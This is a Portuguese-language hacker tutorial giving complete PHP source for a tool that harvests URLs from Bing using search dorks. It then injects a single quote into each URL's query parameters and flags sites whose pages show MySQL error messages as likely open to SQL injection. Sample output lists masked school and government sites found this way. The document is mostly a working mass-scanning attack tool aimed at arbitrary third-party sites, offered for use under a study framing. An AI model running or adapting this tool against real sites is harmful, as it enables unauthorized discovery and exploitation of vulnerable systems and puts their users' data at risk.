paper.txt

          _  _             _  _
  .       /\\/%\       .   /%\/%\     .
      __.<\\%#//\,_       <%%#/%%\,__  .
.    <%#/|\\%%%#///\    /^%#%%\///%#\\
      ""/%/""\ \""//|   |/""'/ /\//"//'
 .     L/'`   \ \  `    "   / /  ```
        `      \ \     .   / /       .      == Automating a sqli crawler | A beginner guide ==
 .       .      \ \       / /  .                        By Rodrigo Nasss | @n4sss 
        .        \ \     / /          .
   .      .    ..:\ \:::/ /:.     .     .
______________/ \__;\___/\;_/\________________________________
YwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYwYw
 
Para deixarmos nosso crawler "intuitivo" iremos criar duas class:
 
- Classe bing scan ( Um crawler para bing para podermos pegar algumas urls de modo automatizado) .
 
- Classe sqli crawler ( Eis o nosso crawler que irá fazer o parse dos sites possivelmente
vulneraveis).

- E nosso arquivo principal ( main ) que invoca as duas classes para automatizar o trabalho.
 
 
-- Conceito --
 
- Quando estamos no ato do pentTest procuramos de uma forma ou outra levantar todos
os serviços, enumerar usuários, coisas triviais no campo da S.I.
 
Nesse caso iremos automatizar um scanner que irá procurar sites que se "encaixem" no nosso objetivo
e mostrar o quão frágil é a segurança de muitos sites. É importante que sejamos conscientes em um estudo
do tipo.
 
-- Criação das classes --
 
O caso será estudado utilizando PHP , que sabemos que é uma linguagem que não se encaixa no perfil de
muitos mas que é simples para esse nosso experimento ( Em python por exemplo creio que seriam menos linhas, mas enfim haha).
 
- Bing scan -

Iremos deixar nossas classes distintas para que em um futuro próximo possamos incluir em um só
arquivo para não perdemos a organização do código.
 
* Estou utilizando um método de crawler oldschool no bing , dessa forma não utilizaremos api's ou coisa do tipo,
caso queira melhorar, não há problemas, ja que estamos em caso de estudo :D
 
Code:
 
+--------------------------------------------------------------------------------------------------------------+

<?php
 
/*
* Automating a sqli crawler
* Bing scan class
*
* By Rodrigo 'Nasss'
*
*/
 
set_time_limit(0);
error_reporting(0);
 
Class BingScan {
  /**
   * @var string dork to search on bing engine
   */
   protected $dork;
   /**
    * @var string result
    */
   protected $log;
   /**
    * @var string body response
    */
   protected $http_response;
   /**
    * @var array info about request
    */
   protected $http_info;
   /**
    * @var int page limit to search
    */
   protected $limit_page;

   // Default timeout
   CONST DEFAULT_TIMEOUT = 10;
   
   /**
    * Init
    * 
    * @param string $dork
    * @param string $log
    * @param int    $limit_page
    */
   public function __construct($dork, $log, $limit_page = 411){
     $this->dork       = $dork;
     $this->limit_page = $limit_page;
     $this->regex      = '#href=\"(.*?)\">#'; // Simple , would be more specific
     $this->log        = $log;
   }
   
   /**
    * Get request on bing
    *
    * @param  string $uri
    * @return BingScan
    */
   protected function get($uri){
    $ch  = curl_init();
    curl_setopt_array($ch, [
      CURLOPT_URL            => $uri,
      CURLOPT_RETURNTRANSFER => TRUE,
      CURLOPT_USERAGENT      => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0',
      CURLOPT_HTTPHEADER     => ['Expect:', 'Connection: close', 'Content-type: application/x-www-form-urlencoded'],
      CURLOPT_CONNECTTIMEOUT => self::DEFAULT_TIMEOUT
    ]);

    $this->http_response = curl_exec($ch);
    $this->http_info     = curl_getinfo($ch);

    return $this;
   }
   
   /**
    * Parse uris after get request
    *
    * @return BingScan
    */
   protected function parse_uris() {
    if(preg_match_all($this->regex, $this->http_response, $matches)):
      foreach($matches[1] as $uri):
        if($uri && strstr($uri, 'http://') && !preg_match('/msn|microsoft|php-brasil|facebook|4shared|bing|imasters|
                    phpbrasil|php.net|yahoo|scriptbrasil|under-linux/', $uri) && !in_array($uri, $this->uri_list))
          file_put_contents($this->log, strstr($uri, '"', true), FILE_APPEND);
      endforeach;
    endif;

    return $this;
   }
   
   /**
    * Init Crawler
    *
    * @return BingScan
    */
   public function scan(){
    echo 'Automating a sqli crawler.' . PHP_EOL,
         '[] Bing scan module.' . PHP_EOL; 
     
    $pointer = 1;
    
    while($pointer <= $this->limit_page):
      echo "\rDork: {$this->dork} Page: {$pointer}/411";
      $this->get("http://www.bing.com/search?q={$this->dork}&go=&filt=all&first={$pointer}")
           ->parse_uris();
       
      $pointer += 10;
    endwhile;

    return $this;
   }
}



+--------------------------------------------------------------------------------------------------------------+

Agora que ja possuimos nossa classe bing , automatizaremos um check para urls que podem estar vulneraveis a sqli
através da busca de strings que estão presentes no má tratamento de consultas sql:

- Mysql_ ( De mensagens de erro e dificilmente a palavra é encontrada em uma página, a não ser que seja
um site em especifico que se trate do assunto).

- SQL ( Mesma lógica anterior, lembrando que é apenas uma palavra que vai estar na página. ).

Abaixo temos funções (PHP) muito utilizadas no dia-a-dia para os mais devidos fins que são definidas
sem o devido cuidado na entrada de dados ( endUser ). Então dessa forma "deduzimos" que quando essas "strings"
são exibidas em uma página existe algo errado:

- mysql_num_rows()
- mysql_fetch_assoc()
- mysql_result()
- mysql_fetch_array()
- mysql_numrows()
- mysql_preg_match()

* Lembrando que as funções mysql_ estão depreciadas a algum tempo e ainda
existem sistemas utilizando as mesmas! Referência:
- http://php.net/manual/en/function.mysql-fetch-row.php

Erros envolvendo essas mensagens são exibidas quando usuários
mal intencionados manipulam um resultado final via uma requisição GET por exemplo utilizando uma queryString fora do padrão. Abaixo temos uma consulta onde é esperado:

http://site.com/noticia.php?id=(id x)

caso ouvesse uma manipulação:

http://site.com/noticia.php?id=10' ( Aqui o caractere ' (Aspas simples) buga a query
já que isso dentro do código faz com que o resultado final fique quebrado)

com uma aspa simples (') a requisição sai do comum e caso o programador não tenha
tratado essa entrada provavelmente teremos um erro envolvendo uma ou mais das palavras acima, dessa forma
permitindo em alguns casos : carregamento de arquivos sensiveis, execução de comandos, etc.

os erros também são emitidos quando um registro é excluido do banco e a página que faz a requisição para esse registro ainda existe ali ( Perigo / Descuido do dev ).

Não entrarei no contexto técnico de como uma query é executada ou como deve ser tratada, mas nada
que um artigo futuro não possa abordar (-:.

Agora podemos automatizar o crawler sqli para que o mesmo possa ser utilizado com o resultado
do bingScan.

Code:

+--------------------------------------------------------------------------------------------------------------+

<?php

/*
* Automating a sqli crawler
* Sqli class
* 
* By Rodrigo 'Nasss'
* 
*/

set_time_limit(0);
error_reporting(0);

Class SqliCrawler{

    /**
     * @var array Uri file
     */
    protected $uri_file;
    
    /**
     * @var string Words to be used in the pattern matching
     */
    protected $common_errors;
    
    /**
     * @var string Output to save
     */
    protected $log;
    
    /**
     * @var string Body Response
     */
    protected $http_response;
    
    /**
     * @var string Context user-agent
     */
    protected $user_agent;
    
    const DEFAULT_TIMEOUT = 10;

    public function __construct($uri_file, $log){
        $this->uri_file      = array_filter(preg_split('/\n|\r\n?/', file_get_contents($uri_file)));
        $this->common_errors = '/Mysql_|SQL|mysql_num_rows()|mysql_fetch_assoc()|mysql_result()|mysql_fetch_array()|mysql_numrows()|mysql_preg_match()/';
        $this->log           = $log;
        $this->user_agent    = 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0';
    }

    /**
    * Get Method
    *
    * @param  string $uri
    * @return sqliCrawler
    */
    protected function get($uri){
        $ch = curl_init();
        
        curl_setopt_array($ch, [
            CURLOPT_URL            => $uri,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER     => ['Connection: close', 'Expect:'],
            CURLOPT_USERAGENT      => $this->user_agent,
            CURLOPT_CONNECTTIMEOUT => self::DEFAULT_TIMEOUT,
            CURLOPT_TIMEOUT        => self::DEFAULT_TIMEOUT
        ]);
        
        $this->http_response = curl_exec($ch);
        return $this;
    }

    /**
    * Checks if the uri match a query-string format
    * and returns a generator.
    *
    * - Added sqli payload to all query params
    *
    * @return string $uri
    */
    protected function getUris() {
        foreach ($this->uri_file as $uri) {
            if (strpos($uri, '=') !== false) {
                if (strpos($uri, '&') !== false) {
                    $query       = '';
                    $uri_map     = parse_url($uri);
                    $query_array = explode('&', $uri_map['query']);
                    
                    foreach ($query_array as $i => $fragment) {
                        if ($i + 1 < count($query_array)) {
                            $query .= sprintf("%s'&", $fragment);
                        } else $query .= sprintf("%s'", $fragment);
                    }
                    
                    $host = isset($uri_map['port']) ? sprintf('%s:%s', $uri_map['host'], $uri_map['port'])
                                                    : $uri_map['host'];
                    
                    $uri = sprintf(
                        '%s://%s%s?%s',
                        $uri_map['scheme'],
                        $host,
                        $uri_map['path'],
                        $query
                    );
                }
            }
            
            yield $uri;
        }
    }

    /**
     * start method
     *
     * @return sqliCrawler
     */
    public function crawler(){
        echo 'Automating a sqli crawler.' . PHP_EOL,
             '[] Sqli crawler module.' . PHP_EOL;
        
        foreach($this->getUris() as $uri) {
            $this->get($uri);
            $msg = sprintf('[-] %s' . PHP_EOL, $uri);
            
            if (preg_match($this->common_errors, $this->http_response)) {
                $msg = sprintf('[+] %s' . PHP_EOL, $uri);
                file_put_contents(
                    $this->log,
                    $msg,
                    FILE_APPEND
                );
            }
            
            echo $msg;
        }
        
        return $this;
    }
}

+--------------------------------------------------------------------------------------------------------------+


Por fim podemos criar nosso arquivo principal que chama as classes criadas anteriormente em ambos os casos:

Code:

+--------------------------------------------------------------------------------------------------------------+

<?php

/*
 * Main file - Automating a sqli Crawler
 * By Rodrigo 'Nasss'
 * 
 * http://n4sss.blogspot.com.br | http://janissaries.org
 * 
 * Require: php5-curl
 */
 
set_time_limit(0);
error_reporting(0);

// Bing / sqli class
require 'bing.php';
require 'sqli.php';

function help($argv){
  
  $banner = "Automating a sqli crawler.
  Use:
  
  Bing scan:
  php {$argv[0]} -d dork -o uri_results
  
  Params:
  
  -d dork        | dork to search into bing engine
  -o uri_results | results from bing
  
  +-------------------------------------------------------------+
  
  Sqli scan:
  php {$argv[0]} -f uri_file -o output
  
  Params:
  
  -f uri_file | File with uris to check sql message errors.
  -o output   | Result with possible vulns.
  
  By Rodrigo 'N4sss' | http://janissaries.org | http://n4sss.blogspot.com.br";
  
  return $banner;
}

/**
 * To launch bing scan: php main.php -d (DORK) -o (OUTPUT)
 * To launch sqli scan: php main.php -f (URI FILE TO SQLI SCAN) -o (OUTPUT)
 */
$opt = getopt("d:o:f:");

if (!count($opt)) exit(help($argv));

// Bing scan
if(isset($opt['d'], $opt['o'])):
  if(isset($opt['f'])) exit(help($argv));

  $dork   = $opt['d'];
  $output = $opt['o'];

  $bing = new BingScan($dork, $output);
  $bing->scan();

elseif(isset($opt['f'], $opt['o'])):
  if(isset($opt['d'])) exit(help($argv));

  $uri_file = $opt['f'];
  $output   = $opt['o'];

  $sqli = new SqliCrawler($uri_file, $output);
  $sqli->crawler();
endif;


+--------------------------------------------------------------------------------------------------------------+

Agora podemos separar as operações:

~$ php main.php

Automating a sqli crawler.
        Use:

        Bing scan:
        php main.php -d dork -o uri_results

        Params:

        -d dork                 | dork to search into bing engine
        -o uri_results          | results from bing

        +-------------------------------------------------------------+

        Sqli scan:
        php main.php -f uri_file -o output

        Params:

        -f uri_file            | File with uris to check sql message errors
        -o output              | Result with possible vulns.


Ou seja:

Para utilizarmos o "dorker" via bing:

php main.php -d "site.php?id= palavra_qualquer" -o uri_results.txt

Nesse caso podemos procurar mais de uma dork porque setamos nosso file_put_contents para um FILE_APPEND,
dessa forma "concatenando" os resultados no arquivo especificado:

~$ php main.php -d "pagina.php?id= escola" -o urls.txt
Automating a sqli crawler.
Dork: pagina.php?id= escola Page: 121/411
---snip---


e para utilizarmos o "sqli crawler" com os resultados do scan anterior:

php main.php -f uri_results.txt -o sqli_vulns.txt

Todos os resultados serão gravados no nosso arquivo chamado (sqli_vulns.txt).
Não deixarei os nomes originais dos sites por alguns motivos óbvios.

~$ php main.php -f urls.txt -o sqli_vulns.txt
Automating a sqli crawler.
[] Sqli crawler module.
[-] http://www.fake_site.com.br/pagina.php?id=5'
[-] http://www.fake_site_2.br/pagina.php?id=14'
[-] http://www.fake_site.com.br/pagina.php?id=7'
[-] http://www.fake_site.com.br/pagina.php?id=escolas'
[+] http://www.fake_site_lica.com.br/pagina.php?id=4'
[+] http://www.fake_site.g12.br/pagina.php?id=1'
[-] http://www.fake_site.pt/pagina.php?id=7'
[-] http://www.fake_site.com.br/pagina.php?id=4'
[-] http://www.fake_site.com.br/pagina.php?id=16'
[-] http://www.fake_site.sp.gov.br/pagina.php?id=81'
[-] http://www.fake_sitea.sp.gov.br/pagina.php?id=81'
[-] http://www.fake_site.com.br/pagina.php?id=16'
[-] http://fake_site.com.br/site/pagina.php?id=1'
[-] http://www.fake_site-al.com.br/site/pagina.php?id=6'
---snip---

Após o termino do nosso scan podemos verificar as urls encontradas ([+] possivelmente vulneraveis com nossas
mensagens estabelecidas anteriormente) e constatar o quão é simples e rápido
achar sites com erros que colocam em riscos dados de usuários e de sistemas importantes.

Ao abrir um dos sites encontrados:

---snip---
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/priv8/www/funcoes/funcoes.php on line 192
---snip---

Um erro que pode ser simples mas que implica e muito na segurança.

Podemos pegar como base esses dois scripts que escrevemos e automatizar muitos outros processos, seja um bruteforce
ou até mesmo tarefas mais complexas que com a automatização diminui e muito o esforço e nos da uma vantagem
em cima de pesquisas, seja elas quais forem. :-)

Files:
https://github.com/n4sss/sqli_crawler


                        //
                       //
                      //
                     //
              _______||
         ,-'''       ||`-.
        (            ||   )
        |`-..._______,..-'|
        |            ||   |
        |     _______||   |
        |,-'''_ _  ~ ||`-.|
        |  ~ / `-.\ ,-'\ ~|
        |`-...___/___,..-'|
        |    `-./-'_ \/_| |
        | -'  ~~     || -.|
   jrei (   ~      ~   ~~ )
         `-..._______,..-'
Texto simples, mas fica ai a reflexão gafanhotos!
[]'s

Sites:
http://janissaries.org
http://n4sss.blogspot.com.br

Twt:
@n4sss

Contact:
proclnas[at]gmail[dot]com

By Rodrigo 'Nasss'